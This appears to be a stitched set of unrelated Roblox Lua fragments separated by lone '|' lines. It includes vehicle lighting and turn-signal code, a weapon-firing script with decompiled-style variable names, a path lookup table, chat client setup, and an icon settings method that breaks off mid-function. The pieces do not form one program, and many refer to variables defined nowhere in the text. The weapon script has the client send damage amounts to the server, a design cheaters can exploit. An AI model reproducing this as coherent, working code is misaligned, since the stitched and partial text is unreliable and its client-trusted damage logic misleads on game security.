l__UserInputService__6.InputBegan:Wait();
(function()
if u1 == true then
return;
end;
u1 = true;
l__TweenService__5:Create(l__WarningScreen__7, v8, {
BackgroundTransparency = 1,
Size = UDim2.new(2, 0, 2, 0)
}):Play();
for v9, v10 in pairs(l__WarningScreen__7:GetDescendants()) do
if v10:IsA("TextLabel") then
l__TweenService__5:Create(v10, v8, {
TextTransparency = 1,
TextStrokeTransparency = 1
}):Play();
elseif v10:IsA("ImageLabel") then
l__TweenService__5:Create(v10, v8, {
ImageTransparency = 1
}):Play();
end;
end;
wait(1);
l__WarningScreen__7.Visible = false;
l__WarningScreen__7:Destroy()
end)();
|
--UIS.InputEnded:Connect(function(key)
-- if key.KeyCode == Flash then
-- flashing = false
-- if not Popups_Enabled then
-- if parklightActive then
-- LightEvent:FireServer("Headlights", 0, Fade_Time, tabG, Light_Type, Popups_Enabled)
-- else
-- LightEvent:FireServer("Headlights", HL.Value, Fade_Time, tabG, Light_Type, Popups_Enabled)
-- end
-- else
-- if parklightActive then
-- LightEvent:FireServer("PopupLights", 0, Fade_Time, tabG, Light_Type, Popups_Enabled)
-- else
-- LightEvent:FireServer("PopupLights", HL.Value, Fade_Time, tabG, Light_Type, Popups_Enabled)
-- end
-- end
-- end
--end)
|
LightEvent:FireServer("Setup", Low_Beam_Color, High_Beam_Color, Running_Light_Color, Front_Indicator_Color, Rear_Indicator_Color, Fog_Light_Color, Popups_Enabled, Plate_Lights, Plate_Light_Color, Trunk_Lights, Mirror_Indicators, Running_Light_Location, Fade_Time, Indicator_Flash_Rate, Interior_Lights, Interior_Light_Color, Door_Functionality)
autoLight()
brakes()
reverse()
UIS.InputBegan:Connect(input)
DriveSeat.ChildAdded:Connect(autoLight)
DriveSeat.ChildRemoved:Connect(leavedriveseat)
Values.Brake.Changed:Connect(brakes)
Values.Gear.Changed:Connect(reverse)
local co2 = coroutine.create(function()
while wait() do
if Sequential_Indicators then
if LI.Value then
RI.Value = false
H.Value = false
script.ClickOn:Play()
TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 0}):Play()
for i = 1, Sequential_Segments do
LightEvent:FireServer("SignalLeft", 0, 0.02, Indicator_Type, Sequential_Indicators, i)
wait(Indicator_Flash_Rate / Sequential_Segments)
end
wait(0.1)
script.ClickOff:Play()
TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 1}):Play()
LightEvent:FireServer("SignalLeft", 0, 1, Indicator_Type, Sequential_Indicators, 1)
wait(Indicator_Flash_Rate)
else
LightEvent:FireServer("SignalLeft", 0, 1, Indicator_Type, Sequential_Indicators, 1)
end
if RI.Value then
LI.Value = false
H.Value = false
script.ClickOn:Play()
TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 0}):Play()
for i = 1, Sequential_Segments do
LightEvent:FireServer("SignalRight", 0, 0.02, Indicator_Type, Sequential_Indicators, i)
wait(Indicator_Flash_Rate / Sequential_Segments)
end
wait(0.1)
script.ClickOff:Play()
TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 1}):Play()
LightEvent:FireServer("SignalRight", 0, 1, Indicator_Type, Sequential_Indicators, 1)
wait(Indicator_Flash_Rate)
else
LightEvent:FireServer("SignalRight", 0, 1, Indicator_Type, Sequential_Indicators, 1)
end
if H.Value then
LI.Value = false
RI.Value = false
script.ClickOn:Play()
TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 0}):Play()
TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 0}):Play()
for i = 1, Sequential_Segments do
LightEvent:FireServer("Hazards", 0, 0.02, Indicator_Type, Sequential_Indicators, i)
wait(Indicator_Flash_Rate / Sequential_Segments)
end
wait(0.1)
script.ClickOff:Play()
TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 1}):Play()
TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 1}):Play()
LightEvent:FireServer("Hazards", 0, 1, Indicator_Type, Sequential_Indicators, 1)
wait(Indicator_Flash_Rate)
else
LightEvent:FireServer("Hazards", 0, 1, Indicator_Type, Sequential_Indicators, 1)
end
end
end
end)
local co = coroutine.create(function()
while wait() do
if not Sequential_Indicators then
if LI.Value then
RI.Value = false
H.Value = false
script.ClickOn:Play()
TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 0}):Play()
LightEvent:FireServer("SignalLeft", 1, 0.02, Indicator_Type)
wait(Indicator_Flash_Rate)
script.ClickOff:Play()
TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 1}):Play()
if Running_Light_Location == "Low Beam / Indicators" and parklightActive then
LightEvent:FireServer("SignalLeft", 0, 0.71, Indicator_Type)
else
LightEvent:FireServer("SignalLeft", 0, 1, Indicator_Type)
end
wait(Indicator_Flash_Rate)
else
TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 1}):Play()
if Running_Light_Location == "Low Beam / Indicators" and parklightActive then
LightEvent:FireServer("SignalLeft", 0, 0.71, Indicator_Type)
else
LightEvent:FireServer("SignalLeft", 0, 1, Indicator_Type)
end
end
if RI.Value then
LI.Value = false
H.Value = false
script.ClickOn:Play()
TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 0}):Play()
LightEvent:FireServer("SignalRight", 1, 0.02, Indicator_Type)
wait(Indicator_Flash_Rate)
script.ClickOff:Play()
TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 1}):Play()
if Running_Light_Location == "Indicators" and parklightActive then
LightEvent:FireServer("SignalRight", 0, 0.71, Indicator_Type)
else
LightEvent:FireServer("SignalRight", 0, 1, Indicator_Type)
end
wait(Indicator_Flash_Rate)
else
TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 1}):Play()
if Running_Light_Location == "Low Beam / Indicators" and parklightActive then
LightEvent:FireServer("SignalRight", 0, 0.71, Indicator_Type)
else
LightEvent:FireServer("SignalRight", 0, 1, Indicator_Type)
end
end
if H.Value then
LI.Value = false
RI.Value = false
script.ClickOn:Play()
TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 0}):Play()
TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 0}):Play()
LightEvent:FireServer("Hazards", 1, 0.02, Indicator_Type)
wait(Indicator_Flash_Rate)
script.ClickOff:Play()
TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 1}):Play()
TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 1}):Play()
if Running_Light_Location == "Low Beam / Indicators" and parklightActive then
LightEvent:FireServer("Hazards", 0, 0.71, Indicator_Type)
else
LightEvent:FireServer("Hazards", 0, 1, Indicator_Type)
end
wait(Indicator_Flash_Rate)
else
TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 1}):Play()
TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 1}):Play()
if Running_Light_Location == "Low Beam / Indicators" and parklightActive then
LightEvent:FireServer("Hazards", 0, 0.71, Indicator_Type)
else
LightEvent:FireServer("Hazards", 0, 1, Indicator_Type)
end
end
end
end
end)
coroutine.resume(co)
coroutine.resume(co2)
|
--// Firemode Functions
|
function CreateBullet(L_197_arg1)
local L_198_ = L_56_.Position
local L_199_ = (L_4_.Hit.p - L_198_).unit
local L_200_ = CFrame.Angles(math.rad(math.random(-L_197_arg1, L_197_arg1)), math.rad(math.random(-L_197_arg1, L_197_arg1)), math.rad(math.random(-L_197_arg1, L_197_arg1)))
L_199_ = L_200_ * L_199_
local L_201_ = CFrame.new(L_198_, L_198_ + L_199_)
local L_202_ = Instance.new("Part", L_98_)
game.Debris:AddItem(L_202_, 10)
L_202_.Shape = Enum.PartType.Ball
L_202_.Size = Vector3.new(1, 1, 12)
L_202_.Name = "Bullet"
L_202_.TopSurface = "Smooth"
L_202_.BottomSurface = "Smooth"
L_202_.BrickColor = BrickColor.new("Bright green")
L_202_.Material = "Neon"
L_202_.CanCollide = false
--Bullet.CFrame = FirePart.CFrame + (Grip.CFrame.p - Grip.CFrame.p)
L_202_.CFrame = L_201_
local L_203_ = Instance.new("Sound")
L_203_.SoundId = "rbxassetid://341519743"
L_203_.Looped = true
L_203_:Play()
L_203_.Parent = L_202_
L_203_.Volume = 0.4
L_203_.MaxDistance = 30
L_202_.Transparency = 1
local L_204_ = L_202_:GetMass()
local L_205_ = Instance.new('BodyForce', L_202_)
if not L_80_ then
L_205_.Force = L_24_.BulletPhysics
L_202_.Velocity = L_199_ * L_24_.BulletSpeed
else
L_205_.Force = L_24_.ExploPhysics
L_202_.Velocity = L_199_ * L_24_.ExploSpeed
end
local L_206_ = Instance.new('Attachment', L_202_)
L_206_.Position = Vector3.new(0.1, 0, 0)
local L_207_ = Instance.new('Attachment', L_202_)
L_207_.Position = Vector3.new(-0.1, 0, 0)
local L_208_ = TracerCalculation()
if L_24_.TracerEnabled == true and L_208_ then
local L_209_ = Instance.new('Trail', L_202_)
L_209_.Attachment0 = L_206_
L_209_.Attachment1 = L_207_
L_209_.Transparency = NumberSequence.new(L_24_.TracerTransparency)
L_209_.LightEmission = L_24_.TracerLightEmission
L_209_.TextureLength = L_24_.TracerTextureLength
L_209_.Lifetime = L_24_.TracerLifetime
L_209_.FaceCamera = L_24_.TracerFaceCamera
L_209_.Color = ColorSequence.new(L_24_.TracerColor.Color)
end
if L_1_:FindFirstChild('Shell') and not L_80_ then
CreateShell()
end
delay(0.2, function()
L_202_.Transparency = 0
end)
return L_202_
end
function CheckForHumanoid(L_210_arg1)
local L_211_
local L_212_
if (L_210_arg1.Parent:FindFirstChild("Humanoid") or L_210_arg1.Parent.Parent:FindFirstChild("Humanoid")) then
L_211_ = true
if L_210_arg1.Parent:FindFirstChild('Humanoid') then
L_212_ = L_210_arg1.Parent.Humanoid
elseif L_210_arg1.Parent.Parent:FindFirstChild('Humanoid') then
L_212_ = L_210_arg1.Parent.Parent.Humanoid
end
else
L_211_ = false
end
return L_211_, L_212_
end
function CastRay(L_213_arg1)
local L_214_, L_215_, L_216_
local L_217_ = L_53_.Position;
local L_218_ = L_213_arg1.Position;
local L_219_ = 0
local L_220_ = L_80_
while true do
L_103_:wait()
L_218_ = L_213_arg1.Position;
L_219_ = L_219_ + (L_218_ - L_217_).magnitude
L_214_, L_215_, L_216_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_217_, (L_218_ - L_217_)), IgnoreList);
local L_221_ = Vector3.new(0, 1, 0):Cross(L_216_)
local L_222_ = math.asin(L_221_.magnitude) -- division by 1 is redundant
if L_219_ > L_24_.BulletDecay then
L_213_arg1:Destroy()
break
end
if L_214_ and (L_214_ and L_214_.Transparency >= 1 or L_214_.CanCollide == false) and L_214_.Name ~= 'Right Arm' and L_214_.Name ~= 'Left Arm' and L_214_.Name ~= 'Right Leg' and L_214_.Name ~= 'Left Leg' and L_214_.Name ~= 'Armor' then
table.insert(IgnoreList, L_214_)
end
if L_214_ then
L_221_ = Vector3.new(0, 1, 0):Cross(L_216_)
L_222_ = math.asin(L_221_.magnitude) -- division by 1 is redundant
L_115_:FireServer(L_215_)
local L_223_ = CheckForHumanoid(L_214_)
if L_223_ == false then
L_213_arg1:Destroy()
local L_224_ = L_110_:InvokeServer(L_215_, L_221_, L_222_, L_216_, "Part", L_214_)
elseif L_223_ == true then
L_213_arg1:Destroy()
local L_225_ = L_110_:InvokeServer(L_215_, L_221_, L_222_, L_216_, "Human", L_214_)
end
end
if L_214_ and L_220_ then
L_113_:FireServer(L_215_)
end
if L_214_ and (L_214_.Parent:FindFirstChild("Humanoid") or L_214_.Parent.Parent:FindFirstChild("Humanoid")) then
local L_226_, L_227_ = CheckForHumanoid(L_214_)
if L_226_ then
L_108_:FireServer(L_227_)
if L_24_.AntiTK then
if game.Players:FindFirstChild(L_227_.Parent.Name) and game.Players:FindFirstChild(L_227_.Parent.Name).TeamColor ~= L_2_.TeamColor then
if L_214_.Name == 'Head' then
L_107_:FireServer(L_227_, L_24_.HeadDamage)
local L_228_ = L_19_:WaitForChild('BodyHit'):clone()
L_228_.Parent = L_2_.PlayerGui
L_228_:Play()
game:GetService("Debris"):addItem(L_228_, L_228_.TimeLength)
end
if L_214_.Name ~= 'Head' and not (L_214_.Parent:IsA('Accessory') or L_214_.Parent:IsA('Hat')) then
if L_214_.Name ~= 'Torso' and L_214_.Name ~= 'HumanoidRootPart' and L_214_.Name ~= 'Armor' then
L_107_:FireServer(L_227_, L_24_.LimbDamage)
elseif L_214_.Name == 'Torso' or L_214_.Name == 'HumanoidRootPart' and L_214_.Name ~= 'Armor' then
L_107_:FireServer(L_227_, L_24_.BaseDamage)
elseif L_214_.Name == 'Armor' then
L_107_:FireServer(L_227_, L_24_.ArmorDamage)
end
local L_229_ = L_19_:WaitForChild('BodyHit'):clone()
L_229_.Parent = L_2_.PlayerGui
L_229_:Play()
game:GetService("Debris"):addItem(L_229_, L_229_.TimeLength)
end
if (L_214_.Parent:IsA('Accessory') or L_214_.Parent:IsA('Hat')) then
L_107_:FireServer(L_227_, L_24_.HeadDamage)
local L_230_ = L_19_:WaitForChild('BodyHit'):clone()
L_230_.Parent = L_2_.PlayerGui
L_230_:Play()
game:GetService("Debris"):addItem(L_230_, L_230_.TimeLength)
end
end
else
if L_214_.Name == 'Head' then
L_107_:FireServer(L_227_, L_24_.HeadDamage)
local L_231_ = L_19_:WaitForChild('BodyHit'):clone()
L_231_.Parent = L_2_.PlayerGui
L_231_:Play()
game:GetService("Debris"):addItem(L_231_, L_231_.TimeLength)
end
if L_214_.Name ~= 'Head' and not (L_214_.Parent:IsA('Accessory') or L_214_.Parent:IsA('Hat')) then
if L_214_.Name ~= 'Torso' and L_214_.Name ~= 'HumanoidRootPart' and L_214_.Name ~= 'Armor' then
L_107_:FireServer(L_227_, L_24_.LimbDamage)
elseif L_214_.Name == 'Torso' or L_214_.Name == 'HumanoidRootPart' and L_214_.Name ~= 'Armor' then
L_107_:FireServer(L_227_, L_24_.BaseDamage)
elseif L_214_.Name == 'Armor' then
L_107_:FireServer(L_227_, L_24_.ArmorDamage)
end
local L_232_ = L_19_:WaitForChild('BodyHit'):clone()
L_232_.Parent = L_2_.PlayerGui
L_232_:Play()
game:GetService("Debris"):addItem(L_232_, L_232_.TimeLength)
end
if (L_214_.Parent:IsA('Accessory') or L_214_.Parent:IsA('Hat')) then
L_107_:FireServer(L_227_, L_24_.HeadDamage)
local L_233_ = L_19_:WaitForChild('BodyHit'):clone()
L_233_.Parent = L_2_.PlayerGui
L_233_:Play()
game:GetService("Debris"):addItem(L_233_, L_233_.TimeLength)
end
end
end
end
if L_214_ and L_214_.Parent:FindFirstChild("Humanoid") then
return L_214_, L_215_;
end
L_217_ = L_218_;
end
end
function fireSemi()
if L_15_ then
L_66_ = false
Recoiling = true
Shooting = true
--CheckReverb()
L_56_:WaitForChild('Fire'):Play()
L_106_:FireServer()
L_99_ = CreateBullet(L_24_.BulletSpread)
L_100_ = L_100_ - 1
UpdateAmmo()
RecoilFront = true
local L_234_, L_235_ = spawn(function()
CastRay(L_99_)
end)
if L_24_.CanBolt == true then
BoltingBackAnim()
delay(L_24_.Firerate / 2, function()
if L_24_.CanSlideLock == false then
BoltingForwardAnim()
elseif L_24_.CanSlideLock == true then
if L_100_ > 0 then
BoltingForwardAnim()
end
end
end)
end
delay(L_24_.Firerate / 2, function()
Recoiling = false
RecoilFront = false
end)
wait(L_24_.Firerate)
local L_236_ = JamCalculation()
if L_236_ then
L_66_ = false
else
L_66_ = true
end
Shooting = false
end
end
function fireExplo()
if L_15_ then
L_66_ = false
Recoiling = true
Shooting = true
L_57_:WaitForChild('Fire'):Play()
L_106_:FireServer()
L_99_ = CreateBullet(L_24_.BulletSpread)
L_102_ = L_102_ - 1
UpdateAmmo()
RecoilFront = true
local L_237_, L_238_ = spawn(function()
CastRay(L_99_)
end)
delay(L_24_.Firerate / 2, function()
Recoiling = false
RecoilFront = false
end)
L_66_ = false
Shooting = false
end
end
function fireShot()
if L_15_ then
L_66_ = false
Recoiling = true
Shooting = true
RecoilFront = true
--CheckReverb()
L_56_:WaitForChild('Fire'):Play()
L_106_:FireServer()
for L_240_forvar1 = 1, L_24_.ShotNum do
L_99_ = CreateBullet(L_24_.BulletSpread)
local L_241_, L_242_ = spawn(function()
CastRay(L_99_)
end)
end
for L_243_forvar1, L_244_forvar2 in pairs(L_56_:GetChildren()) do
if L_244_forvar2.Name:sub(1, 7) == "FlashFX" then
L_244_forvar2.Enabled = true
end
end
delay(1 / 30, function()
for L_245_forvar1, L_246_forvar2 in pairs(L_56_:GetChildren()) do
if L_246_forvar2.Name:sub(1, 7) == "FlashFX" then
L_246_forvar2.Enabled = false
end
end
end)
if L_24_.CanBolt == true then
BoltingBackAnim()
delay(L_24_.Firerate / 2, function()
if L_24_.CanSlideLock == false then
BoltingForwardAnim()
elseif L_24_.CanSlideLock == true then
if L_100_ > 0 then
BoltingForwardAnim()
end
end
end)
end
delay(L_24_.Firerate / 2, function()
Recoiling = false
RecoilFront = false
end)
L_100_ = L_100_ - 1
UpdateAmmo()
wait(L_24_.Firerate)
L_73_ = true
BoltBackAnim()
BoltForwardAnim()
IdleAnim()
L_73_ = false
local L_239_ = JamCalculation()
if L_239_ then
L_66_ = false
else
L_66_ = true
end
Shooting = false
end
end
function fireBoltAction()
if L_15_ then
L_66_ = false
Recoiling = true
Shooting = true
--CheckReverb()
L_56_:WaitForChild('Fire'):Play()
L_106_:FireServer()
L_99_ = CreateBullet(L_24_.BulletSpread)
L_100_ = L_100_ - 1
UpdateAmmo()
RecoilFront = true
local L_247_, L_248_ = spawn(function()
CastRay(L_99_)
end)
for L_250_forvar1, L_251_forvar2 in pairs(L_56_:GetChildren()) do
if L_251_forvar2.Name:sub(1, 7) == "FlashFX" then
L_251_forvar2.Enabled = true
end
end
delay(1 / 30, function()
for L_252_forvar1, L_253_forvar2 in pairs(L_56_:GetChildren()) do
if L_253_forvar2.Name:sub(1, 7) == "FlashFX" then
L_253_forvar2.Enabled = false
end
end
end)
if L_24_.CanBolt == true then
BoltingBackAnim()
delay(L_24_.Firerate / 2, function()
if L_24_.CanSlideLock == false then
BoltingForwardAnim()
elseif L_24_.CanSlideLock == true then
if L_100_ > 0 then
BoltingForwardAnim()
end
end
end)
end
delay(L_24_.Firerate / 2, function()
Recoiling = false
RecoilFront = false
end)
wait(L_24_.Firerate)
L_73_ = true
BoltBackAnim()
BoltForwardAnim()
IdleAnim()
L_73_ = false
local L_249_ = JamCalculation()
if L_249_ then
L_66_ = false
else
L_66_ = true
end
Shooting = false
end
end
function fireAuto()
while not Shooting and L_100_ > 0 and L_65_ and L_66_ and L_15_ do
L_66_ = false
Recoiling = true
--CheckReverb()
L_56_:WaitForChild('Fire'):Play()
L_106_:FireServer()
L_100_ = L_100_ - 1
UpdateAmmo()
Shooting = true
RecoilFront = true
L_99_ = CreateBullet(L_24_.BulletSpread)
local L_254_, L_255_ = spawn(function()
CastRay(L_99_)
end)
for L_257_forvar1, L_258_forvar2 in pairs(L_56_:GetChildren()) do
if L_258_forvar2.Name:sub(1, 7) == "FlashFX" then
L_258_forvar2.Enabled = true
end
end
delay(1 / 30, function()
for L_259_forvar1, L_260_forvar2 in pairs(L_56_:GetChildren()) do
if L_260_forvar2.Name:sub(1, 7) == "FlashFX" then
L_260_forvar2.Enabled = false
end
end
end)
if L_24_.CanBolt == true then
BoltingBackAnim()
delay(L_24_.Firerate / 2, function()
if L_24_.CanSlideLock == false then
BoltingForwardAnim()
elseif L_24_.CanSlideLock == true then
if L_100_ > 0 then
BoltingForwardAnim()
end
end
end)
end
delay(L_24_.Firerate / 2, function()
Recoiling = false
RecoilFront = false
end)
wait(L_24_.Firerate)
local L_256_ = JamCalculation()
if L_256_ then
L_66_ = false
else
L_66_ = true
end
Shooting = false
end
end
function fireBurst()
if not Shooting and L_100_ > 0 and L_65_ and L_15_ then
for L_261_forvar1 = 1, L_24_.BurstNum do
if L_100_ > 0 and L_65_ then
L_66_ = false
Recoiling = true
--CheckReverb()
L_56_:WaitForChild('Fire'):Play()
L_106_:FireServer()
L_99_ = CreateBullet(L_24_.BulletSpread)
local L_262_, L_263_ = spawn(function()
CastRay(L_99_)
end)
for L_265_forvar1, L_266_forvar2 in pairs(L_56_:GetChildren()) do
if L_266_forvar2.Name:sub(1, 7) == "FlashFX" then
L_266_forvar2.Enabled = true
end
end
delay(1 / 30, function()
for L_267_forvar1, L_268_forvar2 in pairs(L_56_:GetChildren()) do
if L_268_forvar2.Name:sub(1, 7) == "FlashFX" then
L_268_forvar2.Enabled = false
end
end
end)
if L_24_.CanBolt == true then
BoltingBackAnim()
delay(L_24_.Firerate / 2, function()
if L_24_.CanSlideLock == false then
BoltingForwardAnim()
elseif L_24_.CanSlideLock == true then
if L_100_ > 0 then
BoltingForwardAnim()
end
end
end)
end
L_100_ = L_100_ - 1
UpdateAmmo()
RecoilFront = true
delay(L_24_.Firerate / 2, function()
Recoiling = false
RecoilFront = false
end)
wait(L_24_.Firerate)
local L_264_ = JamCalculation()
if L_264_ then
L_66_ = false
else
L_66_ = true
end
end
Shooting = true
end
Shooting = false
end
end
function Shoot()
if L_15_ and L_66_ then
if L_89_ == 1 then
fireSemi()
elseif L_89_ == 2 then
fireAuto()
elseif L_89_ == 3 then
fireBurst()
elseif L_89_ == 4 then
fireBoltAction()
elseif L_89_ == 5 then
fireShot()
elseif L_89_ == 6 then
fireExplo()
end
end
end
|
--Precalculated paths
|
local t,f,n=true,false,{}
local r={
[58]={{38,40,39,41,30,56,58},t},
[49]={{38,35,34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{38,40,39,41,30,56,58,20,19},t},
[59]={{38,40,39,41,59},t},
[63]={{38,40,39,41,30,56,58,23,62,63},t},
[34]={{38,35,34},t},
[21]={{38,40,39,41,30,56,58,20,21},t},
[48]={{38,35,34,32,31,29,28,44,45,49,48},t},
[27]={{38,35,34,32,31,29,28,27},t},
[14]={n,f},
[31]={{38,35,34,32,31},t},
[56]={{38,40,39,41,30,56},t},
[29]={{38,35,34,32,31,29},t},
[13]={n,f},
[47]={{38,35,34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{38,35,34,32,31,29,28,44,45},t},
[57]={{38,40,39,41,30,56,57},t},
[36]={{38,35,37,36},t},
[25]={{38,35,34,32,31,29,28,27,26,25},t},
[71]={{38,40,39,41,59,61,71},t},
[20]={{38,40,39,41,30,56,58,20},t},
[60]={{38,40,39,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{38,40,39,41,59,61,71,72,76,73,75},t},
[22]={{38,40,39,41,30,56,58,20,21,22},t},
[74]={{38,40,39,41,59,61,71,72,76,73,74},t},
[62]={{38,40,39,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{38,35,37},t},
[2]={n,f},
[35]={{38,35},t},
[53]={{38,35,34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{38,40,39,41,59,61,71,72,76,73},t},
[72]={{38,40,39,41,59,61,71,72},t},
[33]={{38,35,37,36,33},t},
[69]={{38,40,39,41,60,69},t},
[65]={{38,40,39,41,30,56,58,20,19,66,64,65},t},
[26]={{38,35,34,32,31,29,28,27,26},t},
[68]={{38,40,39,41,30,56,58,20,19,66,64,67,68},t},
[76]={{38,40,39,41,59,61,71,72,76},t},
[50]={{38,35,34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{38,40,39,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{38,35,34,32,31,29,28,27,26,25,24},t},
[23]={{38,40,39,41,30,56,58,23},t},
[44]={{38,35,34,32,31,29,28,44},t},
[39]={{38,40,39},t},
[32]={{38,35,34,32},t},
[3]={n,f},
[30]={{38,40,39,41,30},t},
[51]={{38,35,34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{38,40,39,41,30,56,58,20,19,66,64,67},t},
[61]={{38,40,39,41,59,61},t},
[55]={{38,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{38,35,34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{38,42},t},
[40]={{38,40},t},
[52]={{38,35,34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{38,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{38,40,39,41},t},
[17]={n,f},
[38]={{38},t},
[28]={{38,35,34,32,31,29,28},t},
[5]={n,f},
[64]={{38,40,39,41,30,56,58,20,19,66,64},t},
}
return r
|
--// Rest of code after waiting for correct events.
|
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
while not LocalPlayer do
Players.ChildAdded:wait()
LocalPlayer = Players.LocalPlayer
end
local canChat = true
local ChatDisplayOrder = 6
if ChatSettings.ScreenGuiDisplayOrder ~= nil then
ChatDisplayOrder = ChatSettings.ScreenGuiDisplayOrder
end
local PlayerGui = LocalPlayer:WaitForChild("PlayerGui")
local GuiParent = Instance.new("ScreenGui")
GuiParent.Name = "Chat"
GuiParent.ResetOnSpawn = false
GuiParent.DisplayOrder = ChatDisplayOrder
GuiParent.Parent = PlayerGui
local DidFirstChannelsLoads = false
local modulesFolder = script
local moduleChatWindow = require(modulesFolder:WaitForChild("ChatWindow"))
local moduleChatBar = require(modulesFolder:WaitForChild("ChatBar"))
local moduleChannelsBar = require(modulesFolder:WaitForChild("ChannelsBar"))
local moduleMessageLabelCreator = require(modulesFolder:WaitForChild("MessageLabelCreator"))
local moduleMessageLogDisplay = require(modulesFolder:WaitForChild("MessageLogDisplay"))
local moduleChatChannel = require(modulesFolder:WaitForChild("ChatChannel"))
local moduleCommandProcessor = require(modulesFolder:WaitForChild("CommandProcessor"))
local ChatWindow = moduleChatWindow.new()
local ChannelsBar = moduleChannelsBar.new()
local MessageLogDisplay = moduleMessageLogDisplay.new()
local CommandProcessor = moduleCommandProcessor.new()
local ChatBar = moduleChatBar.new(CommandProcessor, ChatWindow)
ChatWindow:CreateGuiObjects(GuiParent)
ChatWindow:RegisterChatBar(ChatBar)
ChatWindow:RegisterChannelsBar(ChannelsBar)
ChatWindow:RegisterMessageLogDisplay(MessageLogDisplay)
MessageCreatorUtil:RegisterChatWindow(ChatWindow)
local MessageSender = require(modulesFolder:WaitForChild("MessageSender"))
MessageSender:RegisterSayMessageFunction(EventFolder.SayMessageRequest)
if (UserInputService.TouchEnabled) then
ChatBar:SetTextLabelText(ChatLocalization:Get("GameChat_ChatMain_ChatBarText",'Tap here to chat'))
else
ChatBar:SetTextLabelText(ChatLocalization:Get("GameChat_ChatMain_ChatBarTextTouch",'To chat click here or press "/" key'))
end
spawn(function()
local CurveUtil = require(modulesFolder:WaitForChild("CurveUtil"))
local animationFps = ChatSettings.ChatAnimationFPS or 20.0
local updateWaitTime = 1.0 / animationFps
local lastTick = tick()
while true do
local currentTick = tick()
local tickDelta = currentTick - lastTick
local dtScale = CurveUtil:DeltaTimeToTimescale(tickDelta)
if dtScale ~= 0 then
ChatWindow:Update(dtScale)
end
lastTick = currentTick
task.wait(updateWaitTime)
end
end)
|
-- CORE UTILITY METHODS
|
function Icon:set(settingName, value, iconState, setAdditional)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
if type(iconState) == "string" then
iconState = iconState:lower()
end
local previousValue = self:get(settingName, iconState)
if iconState == "hovering" then
-- Apply hovering state if valid
settingDetail.hoveringValue = value
if setAdditional ~= "_ignorePrevious" then
settingDetail.additionalValues["previous_"..iconState] = previousValue
end
if type(setAdditional) == "string" then
settingDetail.additionalValues[setAdditional.."_"..iconState] = previousValue
end
self:_update(settingName)
else
-- Update the settings value
local toggleState = iconState
local settingType = settingDetail.type
if settingType == "toggleable" then
local valuesToSet = {}
if toggleState == "deselected" or toggleState == "selected" then
table.insert(valuesToSet, toggleState)
else
table.insert(valuesToSet, "deselected")
table.insert(valuesToSet, "selected")
toggleState = nil
end
for i, v in pairs(valuesToSet) do
settingDetail.values[v] = value
if setAdditional ~= "_ignorePrevious" then
settingDetail.additionalValues["previous_"..v] = previousValue
end
if type(setAdditional) == "string" then
settingDetail.additionalValues[setAdditional.."_"..v] = previousValue
end
end
else
settingDetail.value = value
if type(setAdditional) == "string" then
if setAdditional ~= "_ignorePrevious" then
settingDetail.additionalValues["previous"] = previousValue
end
settingDetail.additionalValues[setAdditional] = previousValue
end
end
-- Check previous and new are not the same
if previousValue == value then
return self, "Value was already set"
end
-- Update appearances of associated instances
local currentToggleState = self:getToggleState()
if not self._updateAfterSettingAll and settingDetail.instanceNames and (currentToggleState == toggleState or toggleState == nil) then
local ignoreTweenAction = (settingName == "iconSize" and previousValue and previousValue.X.Scale == 1)
local tweenInfo = (settingDetail.tweenAction and not ignoreTweenAction and self:get(settingDetail.tweenAction)) or TweenInfo.new(0)
self:_update(settingName, currentToggleState, tweenInfo)
end
end
-- Call any methods present
if settingDetail.callMethods then
for _, callMethod in pairs(settingDetail.callMethods) do
callMethod(self, value, iconState)
end
end
-- Call any signals present
if settingDetail.callSignals then
for _, callSignal in pairs(settingDetail.callSignals) do
callSignal:Fire()
end
end
return self
end
function Icon:setAdditionalValue(settingName, setAdditional, value, iconState)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
local stringMatch = setAdditional.."_"
if iconState then
stringMatch = stringMatch..iconState
